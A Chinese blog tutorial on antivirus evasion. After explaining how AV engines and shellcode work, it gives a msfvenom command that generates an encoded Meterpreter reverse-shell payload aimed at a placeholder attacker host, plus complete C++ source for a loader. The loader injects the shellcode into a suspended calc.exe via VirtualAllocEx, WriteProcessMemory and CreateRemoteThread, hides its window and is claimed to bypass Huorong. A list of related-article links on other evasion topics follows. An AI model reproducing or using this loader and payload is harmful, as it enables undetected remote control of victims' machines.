前言

本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。

基础概念

免杀

免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。

杀毒软件工作原理

市面上的杀毒软件基本由扫描器、病毒特征库和虚拟机组成,它会把文件放在虚拟机内运行,扫描该文件的特征,包括静态特征、内存特征、行为特征等,通过和病毒特征库对比来判断一个文件是否为恶意文件。安全厂商一直在收集市面上出现的恶意文件添加进他们病毒库中,所以病毒文件要做到免杀的话就必须清除它本身的特征,杀软特征库匹配不上,就会把它当作正常文件,自然也就免杀了。

杀毒软件查杀原理

特征码扫描、文件校验和法、进程行为监测法(沙盒模式)、云查杀、主动防御技术、机器学习识别技术

何为shellcode

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因常让攻击者获得shell而得名。shellcode常常使用机器语言编写,可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

通俗讲,其实shellcode和其他代码没什么太大的区别,就是一段正常的code,常见的shellcode都是一串16进制的机器码,本质上是一段汇编指令

生成shellcode免杀马

msfvenom生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 \b '\x00' lhost=x.x.x.x lport=xxxx -f c 

使用vc加载C#shellcode加载器

将msf生成的shellcode放入加载器中编译成exe可执行程序  (附:大佬的shellcode加载器 )

#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include <tchar.h>
#include "iostream"
using namespace std;unsigned char shellcode[] = #[shellcode]BOOL injection()
{TCHAR Cappname[MAX_PATH] = { 0 };STARTUPINFO si;PROCESS_INFORMATION pi;LPVOID lpMalwareBaseAddr;LPVOID lpnewVictimBaseAddr;HANDLE hThread;DWORD dwExitCode;BOOL bRet = FALSE;lpMalwareBaseAddr = shellcode;GetSystemDirectory(Cappname, MAX_PATH);_tcscat(Cappname, "\\calc.exe");printf("Injection program Name:%S\r\n", Cappname);ZeroMemory(&si, sizeof(si));si.cb = sizeof(si);ZeroMemory(&pi, sizeof(pi));if (CreateProcess(Cappname, NULL, NULL, NULL,FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == 0){return bRet;}lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);if (lpnewVictimBaseAddr == NULL){return bRet;}WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);hThread = CreateRemoteThread(pi.hProcess, 0, 0,(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);WaitForSingleObject(pi.hThread, INFINITE);GetExitCodeProcess(pi.hProcess, &dwExitCode);TerminateProcess(pi.hProcess, 0);return bRet;
}void help(char* proc)
{printf("%s:[-] \nstart a process and injection shellcode to memory\r\n", proc);
}int main(int argc, char* argv[])
{HWND hwndDOS = GetForegroundWindow(); //得到前台窗口的句柄ShowWindow(hwndDOS, SW_HIDE); //隐藏窗口help(argv[0]);injection();return 0;
}

免杀效果(过火绒)

火绒

virustotal

总结

shellcode免杀有很多种,C算是最广泛出现的了,杀毒效果并不好,免杀都具有时效性;还有很多语言的加载器Python、GO语言等。

免杀入门---shellcode免杀相关推荐

  1. 免杀入门(基础理论)

    免杀理论基础 本文主要为免杀入门的基础理论笔记,前几年写下的找到正好发出来,因审核需要删除部分内容,有免杀基础和一定实操经验人士可以跳过本文 概念 免杀全称为反杀毒技术Anti Anti- Virus ...

  2. 远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

    0x00 免杀能力一览表 几点说明: 1.表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 2.为了更好的对比效果,大部分测试payload均使用msf的windows/mete ...

  3. MSF外网渗透+shellcode免杀

    1. 内网穿透 使用的Sunny-Ngrok服务 .你在Sunny-Ngrok官网注册好后获得一条免费或付费的隧道,添加tcp通道,端口号自定. 官网链接:https://www.ngrok.cc/( ...

  4. 【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防

    Shellcode,顾名思义是一段拿来执行的代码片段,我们可以使用Shellcode来完成我们需要的任务 弹窗的代码,可以被认为是一段Shellcode,获取某个模块的基址的代码,也可以被认为是一段S ...

  5. Python shellcode免杀

    浅谈Python shellcode免杀 一.前言 在安全厂商日趋成熟的背景下,编写免杀马的难度和成本日益增长.很多师傅好用的开源免杀项目公布出来的同时几乎也就意味它的失效,对于一些和我一样对系统底 ...

  6. Shellcode免杀,过360、火绒、windows-Defender

    shellcode简介 Shellcode,顾名思义是一段拿来执行的代码片段,我们可以使用Shellcode来完成我们需要的任务 弹窗的代码,可以被认为是一段Shellcode,获取某个模块的基址的代 ...

  7. Shellcode免杀,绕过360安全卫士、火绒安全、腾讯管家

    前言 分享一个傻瓜式直接套用大佬的框架进行shellcode免杀,自己还是萌新还需要学习很多东西,大佬们不喜勿喷 杀毒原理 360.腾讯电脑管家.火绒剑.金山毒霸.瑞星等等,这几个杀毒软件领头羊,现在 ...

  8. 计算机 配置不过4000,台式机4000元以上免谈,非主流配置免谈

    台式机4000元以上免谈,非主流配置免谈 如今台式机"主流机型"的标准已经下降到4000元左右,就连品牌机也不例外 (本文共1页) 阅读全文>> 放眼SUV市场,车型竞 ...

  9. Android中运行免安装app,适用于免安装应用的 CTS

    免安装应用是 Android 10 的一项重要功能,因此必须确保这些应用能够正常运行.免安装应用是隐式安装的,因此它们仅具有有限的功能,并需要在限制更多的安全沙盒中运行.由于这些限制普遍存在,因此系统 ...

最新文章

  1. 数据结构与算法(6-1)树的存储(树的双亲表示、树的孩子表示及树的双亲孩子表示)
  2. 「云网络」VS「云计算」- vecloud微云服务器
  3. vba 您正和其他用户尝试修改同一条数据_专辑二 | Moodle学习之Moodle添加用户
  4. jsp模糊查询_[内附完整源码和文档] 基于JSP+Servlet校园二手交易平台
  5. 7.RabbitMQ实战 --- warren和Shovel:故障转移和复制
  6. 监控hdfs坏块脚本
  7. 超详细的python搭建区块链(下)
  8. pnpm monorepo的技术选型临界点(Critical adoption)
  9. 软件全屏使用时点击鼠标自动跳回桌面的问题
  10. 山东海王星·关于国内文旅水上乐园的运营营销构思
  11. python爬虫应聘信息_python爬虫获取拉钩网在线搜索招聘信息(超实用!)
  12. ★一人一首成名歌曲★
  13. Effective C++ XMind读书笔记
  14. 不再羡慕小说中的爱情...
  15. CentOS 7 的安装步骤
  16. Oracle 19c本地监听配置出现错误-无监听程序
  17. 使用SpotBug进行静态代码检查
  18. 银行汇票与银行本票区别解析
  19. [LA7139 Rotation(2014 shanghai onsite)]二维树状数组
  20. safe-area-inset-bottom

热门文章

  1. 串口控制74HC164C语言,单片机驱动74HC164的程序设计应用实例
  2. Framebuffer框架入门之显示图片
  3. ParallelismfortheMasses:MakingParallelComputingaccessib
  4. zynq eth1下有两个phy芯片,linux设备树怎么写
  5. 【C语言深度解剖】冒泡排序你那些不知道的问题!
  6. 2021年汽车修理工(初级)报名考试及汽车修理工(初级)最新解析
  7. C语言期末大作业-学生成绩管理系统(完整源码+设计报告)
  8. Transformer 网络
  9. 概率密度变换公式 雅可比矩阵_机器人雅可比矩阵的理解和常用公式
  10. 供排水行业也能做标签、画像?这里有现成的应用